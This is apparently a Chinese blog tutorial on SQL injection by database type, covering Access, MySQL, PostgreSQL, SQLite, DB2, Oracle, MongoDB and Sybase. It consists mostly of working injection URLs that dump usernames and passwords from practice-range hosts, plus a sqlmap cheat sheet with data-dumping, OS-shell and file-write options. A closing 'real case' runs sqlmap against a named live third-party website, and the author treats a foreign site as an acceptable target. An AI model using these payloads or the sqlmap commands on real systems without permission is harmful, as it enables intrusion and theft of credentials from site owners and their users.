WEB漏洞攻防 -根据不同数据库类型之间的差异性进行注入
文章目录
根据不同数据库类型之间的差异性进行注入
不同数据库之间内部的SQL语句不同,架构权限划分都有所区别。
比如像"MYSQL"、“Oracle”、“Mongodb”,各自对于权限的划分也不同,一般情况下分为普通用户和高权限用户,需要判断注入权限的大小;而Axxess根据数据库的特性又没有数据库用户的说法。
这也就造成了为什么根据数据库类型需要根据差异性进行相对应的注入。
SQL注入-Fuzz字典使用说明
“sqlmap自带的字典 在/data/txt/路径下” - https://github.com/sqlmapproject/sqlmap
“第三方fuzzdb字典 在/wordlists-user-passwd/路径下” - https://github.com/fuzzdb-project/fuzzdb
字典主要是用来注入的时候猜解数据库、表名、列名之类的信息,一般结合手工注入使用。
Access数据库联合&偏移注入
当前网络环境下已经比较少了,碰到的机会也比较少(主要存在ASP网站下)。主要还是"MYSQL"、“Oracle”、"Mongodb"比较多。
Access数据库是基于asp开发的简单、小型的数据库。当前网络环境已经很少使用,mdb数据格式(excel表格那种形式),结构相对要少。
access数据库结构
access
表名
列名
数据
Access数据库注入属于暴力猜解注入,所以注入的时候会出现表名或列名获取不到的情况,我们需要借助大量的字典尝试获取表名。
举例:http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513
当我们发现上述的URL地址中存在注入点的时候,尝试通过order by 命令来判断当前页面所使用表的字段数量。
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 10
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 20
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
当尝试到"23"时,页面报错,说明当前表的字段数量为22个。
利用"union"进行联合注入
联合注入:
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin # 尝试猜解是否存在admin表
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin # 在猜解admin表时爆出的第3、15字段处猜解是否存在admin、password列名
以上时access数据库中最常见的一种注入方式。
access偏移注入(决表名获取到而列名获取不到情况),当我们知道存在admin表,但是不知道列名时,就可以尝试通过便宜注入的方式获取列名。
利用"*"星号,一步一步往前推移,当尝试到16的时候,页面返回正常,说明admin表有6个字段。
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin
利用二级偏移、三级偏移爆出admin、passwd信息(真实案例的时候需要注意变更查询的表名)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
查看网页源码
MYSQL数据库注入检测利用
在介绍MYSQL数据库注入检测利用测试之前,我们需要先了解MYSQL数据库的数据库结构。
MYSQL数据库
数据库A = 网站A的数据库
表名
列名
数据
数据库B = 网站B的数据库
表名
列名
数据
数据库C = 网站B的数据库
表名
列名
数据
当我们尝试注入MYSQL数据库的时候,首先需要得到数据库名,再分别得到表名、列名,通过这样递进式的条件查询。
最终才能得到我们想要的数据。因为没有以上的条件就无法查到对应的数据。
MYSQL知识点
查询函数:
database() 数据库名
version() 数据库版本
user() 数据库用户
@@version_compile_os 操作系统
注意:Mysql5.0以下版本注入属于暴力猜解,反之以上版本属于有根据猜解。
在MYSQL5包含以上版本自带的数据库名information_schema,它是一个存储有MYSQL所有数据库名,表名,列名信息的数据库,反
之MYSQL5以下版本不自带。换句话来说,我们可以借助查询information_schema获取指定数据库名下的表名或列名信息,从而注入实现有根据查询。
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
information_schema.tables表下的列table_name 存储表名信息的表
information_schema.columns表下的列column_name 存储列名信息的表
table_schema 数据库名
table_name 表名
column_name 列名
墨者靶场MYSQL注入演示实例
“http://219.153.49.228:48105/new_list.php?id=1” [需要付费]
- 常规思路:通过 and 1=2 判断是否存在注入点,页面内容受到影响,存在注入点。
那么问题来了,我们需要得到数据库名,再分别得到表名、列名,通过这样递进式的条件查询。最终才能得到我们想要的数据。
- 通过联合查询进行注入 order by 判断列的数量[得出4列的结果]
- 通过 database() 函数得到数据库名 mozhe_Discuz_StormGroup
- 通过 user()函数 得到数据库用户 root@localhost
- 查询 “inforrmation_schema.tables” 下数据库名为 mozhe_Discuz_StormGroup 的所有表名(group_concat()函数为获取所有的意思)
http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查询information_schema.columns表下table_name为StormGroup_member的所有列名
http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
- 获取StormGroup_member表下指定的name、password列的数据
http://219.153.49.228:48105/new_list.php?id=1 and 1=222 union select 1,name,password,4 from StormGroup_member
PostgreSQL数据库注入检测利用
和mysql的注入有所区别,但是仍然有一些区别,但思路是差不多的;PostgreSQL数据结构也与mysql类似。
参考https://www.cnblogs.com/she11s/p/12326629.html
PostgreSQL知识点
查询函数:
current_database() 数据库名
version() 数据库版本
current_schema() 数据库用户权限
relname 表名
column_name 列名
PostgreSQL同样也存在 information_schema 表
墨者靶场PostgreSQL注入演示实例
http://219.153.49.228:44997/new_list.php?id=1 [需要付费]
- 同样的通过联合查询进行注入 order by 判断列的数量[得出4列的结果]
- 通过current_database()函数得到数据库名
http://219.153.49.228:44997/new_list.php?id=-1 union select null,current_database(),null,null
- 通过relname查询表名
http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables
但是PostgreSQL数据库中没有类似mysql数据库中group_concat()函数查询全部的信息,可以通过 limit 1 offset 0 ,将 0 进行递归的方式进行猜解
http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 0
http://219.153.49.228:44997/new_list.php?id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1
- 通过column_name和information_schema.columns得到reg_users表下的列名
http://219.153.49.228:44997/new_list.php?id=-1 union select null,null,column_name,null from information_schema.columns where table_name=reg_users
-
同样的利用 "limit 1 offset 0"进行递归的方式分别得到 id、name、passwd的列名
-
查询name、passwd数据
http://219.153.49.228:44997/new_list.php?id=-1 union select null,name,password,null from reg_users
SQLite数据库注入检测利用
https://www.cnblogs.com/xiaozi/p/5760321.html SQLite手工注入方法小结
通常sqlite文件中会包含一个sqlite_master隐藏表,这里记录着建表时留下的记录,我们可以直接通过查看这个表名来查询一些我们想要的信息。
sqlite_master表信息
tepe
name
tbl_name
rootpage
sql 这里是建表语句
http://219.153.49.228:41026/new_list.php?id=1
- 老规矩,利用 order by 判断列的数量[得出4列的结果]
http://219.153.49.228:41026/new_list.php?id=1 union select 1,2,3,4
- 直接查询表名和建表SQL语句
http://219.153.49.228:41026/new_list.php?id=1 union select 1,name,sql,4 from sqlite_master
- 根据得到的表名,查询name、passwd信息
http://219.153.49.228:41026/new_list.php?id=1 union select 1,name,password,4 from WSTMart_reg
DB2数据库注入检测利用
案例:https://www.mozhe.cn/bug/detail/NjM3MSt5VWovcWtHOU9kaUF5dUFXQT09bW96aGUmozhe SQL手工注入漏洞测试(Db2数据库)
DB2数据库知识点
tabschema:数据库名
current schema:当前数据库名
table_name:表名
tabname:表名的列名
column_name:列名的列名
sysibm.sysdummy1 记录数据库名的信息
syscat.tables:记录表名的信息
sysibm.columns:记录列名的信息
墨者靶场DB2数据库注入演示实例
http://219.153.49.228:49617/new_list.php?id=1
[需要付费]
- 利用 order by 猜数 得到列名数量为4
http://219.153.49.228:49617/new_list.php?id=1 order by 4
-
利用 sysibm.systables 查询
-
http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,3,4 from sysibm.systables
- 查询 sysibm.sysdummy1 得到当前数据库名 [current schema]
http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,current schema,4 from sysibm.sysdummy1
- 利用syscat.tables查询当前数据库current schema的tabname表名,表名存在多个,通过 limit 0,1 的"0"进行递归查询。
http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,current schema,4 from sysibm.sysdummy1 limit 0,1
- 利用 sysibm.columns 查询当前数据库 current schema 下 GAME_CHARACTER 表的 列名,通过 limit 0,1 的"0"进行递归查询。
http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
- 爆name、passwordd数据,利用limit 0,1 的"0"进行递归查询。
http://219.153.49.228:49617/new_list.php?id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 0,1
Oracle数据库联合注入
https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/qq_35569814/article/details/100517122
Oracle中dual表的用途介绍-https://www.cnblogs.com/qiangqiang/archive/2010/10/15/1852229.html
其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据
Oracle数据亏知识点
dual 虚拟表,用来构成select的语法规则,所有用户都可以访问;可以用来查询当前用户,和调用系统函数。
all_tables 查询出所有的表
user_tables 查询出当前用户的表
all_tab_columns 查询出所有的字段
user_tab_columns 查询出当前用户的字段
v$version 查版本
墨者靶场Oracle数据库注入演示实例
http://219.153.49.228:49617/new_list.php?id=1
- 利用 order by 猜列数 得到列名数量为2
http://219.153.49.228:49617/new_list.php?id=1 order by 2
- 利用 null 或者 ‘null’ 判断参数的类型 [null=int,‘null’=str]
- 原理:select * from table_name where id = 1 ;
- 原理:select * from table_name where id = ‘1’ ;
http://219.153.49.228:49617/new_list.php?id=-1 union select null,null from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select 'null',null from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select 'null','null' from dual
-
这里我们得出结论:两个参数都是str类型
-
利用筛选和搜索的方式获取表名信息
http://219.153.49.228:49617/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
- 也可以利用like语句直接模糊匹配[一般情况下我们获取有效信息的表类似user/admin之类的]
http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
- 也可以通过针对模糊匹配的字符进行爆破的方式得到表名
- 通过获得的sns_users表查询列的信息
http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select column_name from user_tab_columns where rownum=1 and table_name='sns_users') from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name not in 'USER_NAME') from dual
- 通过获得的sns_users表,user_name,user_pwd列的信息查询查询数据
http://219.153.49.228:49617/new_list.php?id=-1 union select user_name,user_pwd from "sns_users"
http://219.153.49.228:49617/new_list.php?id=-1 union select user_name,user_pwd from "sns_users" where user_name<>'hu'
Mongodb数据库闭合注入
案例:https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe SQL手工注入漏洞测试(MongoDB数据库)
Mongodb数据库知识点
与Mysql、Oracle等关系型数据库不同的是Mongodb数据库是一种非关系型数据库
Mongodb中相应的方法执行增查减改[传入的参数是一个数组]
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->remove(); //删
$coll->update(); //改
$coll->find(); //查
用execute方法执行字符串示例
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.remove({'newsid':1})"; //删
$query = "db.table.update({'newsid':1},{'newsid',2})"; //改
$query = "db.table.find({'newsid':1})"; //查
$result = $db->execute($query);
此时,传进方法execute的参数就是字符串变量$query。此时的字符串书写语法为json的格式。针对以上两种不同执行方式,有不同的注入攻击方式。
墨者靶场Mongodb数据库注入演示实例
http://219.153.49.228:46345/new_list.php?id=1
这里我们先分析一下该段源码。分析之前我们先了解一下Mongodb与Mysql的查询方式。
Mongodb --> db.notice.findOne({'id':'$id'});returu data;
Mysql --> select * from table_name where id=1;
试想一下,如果我们像之前那样使用 order by 猜解列数的时候会怎样?当 order by 4 被带进 Mongodb所执行的语句是怎样的?
Mongodb --> db.notice.findOne({'id':'order by 4'});returu data;returu data;
可以看出 order by 4 已经作为字符串带进了数据库查询,相当于Mysql的 select * from table_name where id='1 order by 4';
这样的语句肯定不是我们想要的。
那么我们再来分析一下源码,既然知道Mongodb的语句书写方式为json格式,那么我们考虑的就是首先需要闭合掉"({})",然后让其能够正常的返回title 和 content 的回显信息。
- 尝试闭合、获取 title 和 content 回显信息
http://219.153.49.228:46345/new_list.php?id=1'});return ({title:1,content:'2
- 这样的花,就相当于执行了如下的语句
Mongodb --> db.notice.findOne({'id':'1'});return({'title':1,"content":'2'});return data
- 这样做的目的就是根据源码的提示,控制了 title、content 的输出内容。
- 需要注意的是,一般正常黑盒情况下,我们是不知道 title、content 这两个字段的存在的,需要我们去盲猜,或者爆破的方式得到我们需要的字段。这也是Mongodb注入点发现少的原因,操作复杂是一方面,这也是一个原因。
- 利用 tojson 将接送转换为字符串获得数据库名[db返回的是数据,需要用到 tojosn转换为str]
http://219.153.49.228:46345/new_list.php?id=1'}); return ({title:tojson(db),content:'2
- 利用 getCollectionNames() 获取表名[同样需要tojson转换为字符串]
http://219.153.49.228:46345/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'2
工具走不了手工,手工走不了工具
Sybase数据库联合注入
关于SQLServer注入的方式与Sybase的方式一致,不再进行关于SQLServer的篇幅。
Sybase数据库的注入方式大体上与Mssql的注入方式相同,仅仅存在细微的差别。
墨者靶场Sybase数据库注入演示实例
http://219.153.49.228:49810/new_list.php?id=1
-
老规矩,利用 order by 猜列数 得到列名数量为4
-
猜解回显位[这里需要注意一下,使用的是 union all select 语句,同时需要判断回显位的类型],得到第2位为回显位。
http://219.153.49.228:49810/new_list.php?id=1 union all select 'null',null,null,null
http://219.153.49.228:49810/new_list.php?id=1 union all select null,'null',null,null
http://219.153.49.228:49810/new_list.php?id=1 union all select null,null,'null',null
http://219.153.49.228:49810/new_list.php?id=1 union all select null,null,null,'null'
- 利用 db_name() ,猜解数据库名[等同于mysql的database()]。
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,db_name(),null,null
- 利用Sybase数据库自带的dbo.sysobjects表[储存表名的表]猜解表名
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects
- 同样的在存在多个表的情况下,我们使用 where 条件查询下一个表名
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects where name<>'Deepthroat_login'
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects where name<>'Deepthroat_login' and name<>'notice'
- 利用 dbo.syscolumns [储存列名的表] 获取 Deepthroat_login 表的列明信息
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns
- 使用 where 条件查询下一个列名
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where name <> 'uid'
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where name <> 'uid' and name <> 'type'
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where name <> 'uid' and name <> 'type' and name <> id
- 这个时候我们会发现查询的列名越来越多,那是因为我们并没有绑定表 Deepthroat_login 进行查询,导致我们跨表查询了列名。所以这个时候我们需要绑定表名进行查询。
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login')
- 继续,查询下一个列名
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login') and name<>'id'
- 继续
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login') and name<>'id' and name <> 'name'
- 获取 Deepthroat_login 表下的 name,password信息
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from Deepthroat_login
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,password,null,null from Deepthroat_login
- 好像并不是我们想要的name、password信息,继续
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from Deepthroat_login where name <> 'zhang'
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,password,null,null from Deepthroat_login where name <> 'zhang'
- OK!完美!
由SQLMAP引出的小案例
关于SQLMAP大家可参考之前的文章,这里仅作一个简单的介绍使用。有兴趣的话可以跳转下方的SQLMAP高级应用链接。
SQLMAP的官方地址 - https://github.com/sqlmapproject/sqlmap
SQLMAP使用手册 - https://blog.csdn.net/weixin_42250835/article/details/111830402
SQLMAP思维导图[不需要积分下载,如果需要积分可私信我直接发原图] - https://download.csdn.net/download/weixin_42250835/16191021
SQLMAP的源码学习笔记一之目录结构 - https://blog.csdn.net/qq_21500173/article/details/53648696
SQLMAP常用命令总结
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" #判断url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" #识别指纹信息
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch #对所有的交互式的选择都是默认最优先优化的选项(一把嗦就完事儿了)
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch -v2 #显示输出信息级别
输出信息按从简到繁共分为7个级别,使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
sqlmap -r rizhi.txt #“rizhi.txt”为抓取的http的请求包
sqlmap -r rizhi.txt -p username #指定参数,当某一个活或多个参数存在SQL注入漏洞时,通过-p指定参数进行注入
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,通过cookie访问,判断该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --data="name=value" #抓取post提交的数据以“name=value”的形式填入进行注入探测
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,该命令仅适用于当前数据库是Oracle时
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --tables #爆出数据库information_schema中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --columns #爆出information_schema数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users -C username --dump #爆出数据库information_schema中的users表中的username列中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --dump-all #爆出数据库information_schema中的users表中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --dump-all #爆出数据库information_schema中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
这里需要注意的是,当不进行表与字段的爆破时直接进行下载,在数据量很大的情况下会很慢
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --identify-waf 检测是否有WAF
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
关于探测URL是否存在WAF,并且如何绕过的方法会在下文的SQLMAP高级用法中进行详解
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。
level的等级(1-5,默认为1)
level 1:对GET和POST的数据进行测试
level 2:会对HTTP cookie进行测试
level 3:会对HTTP User-Agent/Referer头进行测试
level4-5:测试的更加全面,同时测试的速度会更慢
risk风险等级(1-4,默认1)升高风险等级会增加数据被篡改的风险。
risk 1:此等级在大多数情况下对测试目标无害
risk 2:基于事件的测试
risk 3:or语句的测试
risk 4:update的测试
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
这里需要注意的是在不知道对应的数据库的执行语句的时候尽量少使用
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
dbms是“Database Management System”的缩写。默认情况下SQLMAP会自动检测网站使用的数据库管理系统,如果SQLMAP自动检测失败或是不想让SQLMAP进行数据库指纹检测,可以使用参数“--dbms”手动指定数据库管理系统,如:“--dbms postgresql”。
对于Mysql和Microsoft SQL Server和要这样指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。
如果在添加“--dbms”参数的同时还添加了“--fingerprint”,SQLMAP只会在指定的数据库管理系统内进行指纹识别。
只有在很确定时使用“--dbms”,否则还是让SQLMAP自动检测更好些。
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
默认情况下SQLMAP会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:Linux、Windows
如果很确定可以使用参数“--os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让SQLMAP自动检测更好些。
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-read "usr/desktop/test.txt" #读取目标服务器usr/desktop/下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "usr/desktop/hack.txt" #将本地的test.txt文件上传到目标服务器的usr/desktop/下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" -v 3 #输出详细攻击载荷
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --threads 5#指定线程数
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --fresh-queries #清除缓存
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --flush-session #刷新session
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent #任意的http头
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --tamper base64encode #对提交的数据进行base64编码
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --referer http://www.baidu.com #伪造referer字段
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
sqlmap -u http://127.0.0.1/Less-2/ --batch --crawl=2 --delay 2 -v 2
判断URL是否存在注入点[不需要登陆的URL]
直接指定URL
sqlmap -u http://127.0.0.1/Less-1/?id=1 --batch --level 3 -v 3
--batch:针对需要交互选择的选项都是默认最优先优化的选项
--level 3:探测等级为3的测试
-v 3:输出信息等级3,同时显示注入使用的攻击荷载
执行成功完毕之后会得到相关服务器指纹信息与信息输出文件路径
附:当针对同一探测URL执行二次或者多次的探测时,会自动读取信息文件路径下的文件,删除后才会重新进行探测。
真实案例-编码性注入-SQLMAP工具测试
[漂亮国的站,请点到为止,国内别瞎搞]
knotsolutions.com/case_study_view.php?id=MQ==
这里我们看到有个类似 “id” 的可控变量,但是后面的 "MQ=="是什么呢?其实这里的"MQ==“是进行base64编码后的参数,解码后是"1”
在SQLMAP的tamper脚本目录中有一个"base64encode.py"脚本,我们可以利用该脚本来进行解码和注入。
sqlmap -u "http://knotsolutions.com/case_study_view.php?id=" --tamper-base64encode.py
这里有个细节,如果我们直接带上 “id=MQ==” 直接使用 base64encode.py 脚本进行编码注入的话,会将"MQ=="整体带入脚本进行注入,所以这里需要将 “MQ==” 去掉,然后再执行注入。
相关文章
- SQL手工注入漏洞测试(Access数据库)
- Linux sudo权限提升漏洞复现
- 那个打爆XP系统的漏洞,你会用么?
- CNVD-2022-42853:禅道V16.5SQL注入漏洞
- SpringBoot漏洞,网站数据库要被删了。。
- 网站源代码安全审计之wordpress漏洞
- Discuz!X 3.4 任意文件删除漏洞分析
- AI将取代人类?机器人ChatGPT能测漏洞、审代码还能修bug
- Linux系统下的漏洞扫描研究(漏洞扫描linux)
- Linux Bash漏洞:鉴定、解决与防范(linuxbash漏洞)
- Linux sudo 漏洞可能导致未经授权的特权访问
- Zabbix爆远程代码执行漏洞、数据库写入高危漏洞(CVE-2017-2824)
- SambaCry真的来了,利用CVE-2017-7494漏洞来挖矿
- Redis安全漏洞:未经授权访问。(redis未授权访问漏洞)
- 揭秘MySQL 5漏洞:埋藏在数据库中的安全风险(mysql5漏洞)
- 2018年MySQL数据库漏洞及防护建议(2018年mysql漏洞)